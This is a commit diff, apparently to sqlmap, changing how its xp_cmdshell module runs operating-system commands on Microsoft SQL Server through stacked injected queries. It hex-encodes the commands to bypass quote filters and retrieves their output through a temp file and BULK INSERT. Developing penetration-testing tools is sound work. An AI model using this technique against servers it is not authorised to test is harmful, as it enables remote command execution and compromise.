@@ -105,7 +105,9 @@ def __xpCmdshellTest(self):
105105 logger .info ("testing if xp_cmdshell extended procedure is usable" )
106106 output = self .xpCmdshellEvalCmd ("echo 1" )
107107
108- if isNoneValue (output ):
108+ if output == "1" :
109+ logger .info ("xp_cmdshell extended procedure is usable" )
110+ elif isNoneValue (output ):
109111 errMsg = "it seems that the temporary directory ('%s') used for " % self .getRemoteTempPath ()
110112 errMsg += "storing console output within the back-end file system "
111113 errMsg += "does not have writing permissions for the DBMS process. "
@@ -148,15 +150,27 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
148150 self .xpCmdshellExecCmd (cmd )
149151
150152 def xpCmdshellForgeCmd (self , cmd , insertIntoTable = None ):
151- if conf .dCred :
153+ # When user provides DBMS credentials (with --dbms-cred) we need to
154+ # redirect the command standard output to a temporary file in order
155+ # to retrieve it afterwards
156+ # NOTE: this does not need to be done when the command is 'del' to
157+ # delete the temporary file
158+ if conf .dCred and insertIntoTable :
152159 self .tmpFile = "%s/tmpc%s.txt" % (conf .tmpPath , randomStr (lowercase = True ))
153160 cmd = "%s > \" %s\" " % (cmd , self .tmpFile )
154161
162+ # Obfuscate the command to execute, also useful to bypass filters
163+ # on single-quotes
155164 self .__randStr = randomStr (lowercase = True )
156165 self .__cmd = "0x%s" % hexencode (cmd )
157166 self .__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self .__randStr
158167 self .__forgedCmd += "SET @%s=%s;" % (self .__randStr , self .__cmd )
159168
169+ # Insert the command standard output into a support table,
170+ # 'sqlmapoutput', except when DBMS credentials are provided because
171+ # it does not work unfortunately, BULK INSERT needs to be used to
172+ # retrieve the output when OPENROWSET is used hence the redirection
173+ # to a temporary file from above
160174 if insertIntoTable and not conf .dCred :
161175 self .__forgedCmd += "INSERT INTO %s " % insertIntoTable
162176
@@ -185,6 +199,10 @@ def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
185199 else :
186200 inject .goStacked (self .xpCmdshellForgeCmd (cmd , self .cmdTblName ))
187201
202+ # When user provides DBMS credentials (with --dbms-cred), the
203+ # command standard output is redirected to a temporary file
204+ # The file needs to be copied to the support table,
205+ # 'sqlmapoutput'
188206 if conf .dCred :
189207 inject .goStacked ("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self .cmdTblName , self .tmpFile , randomStr (10 ), randomStr (10 )))
190208 self .delRemoteFile (self .tmpFile )
0 commit comments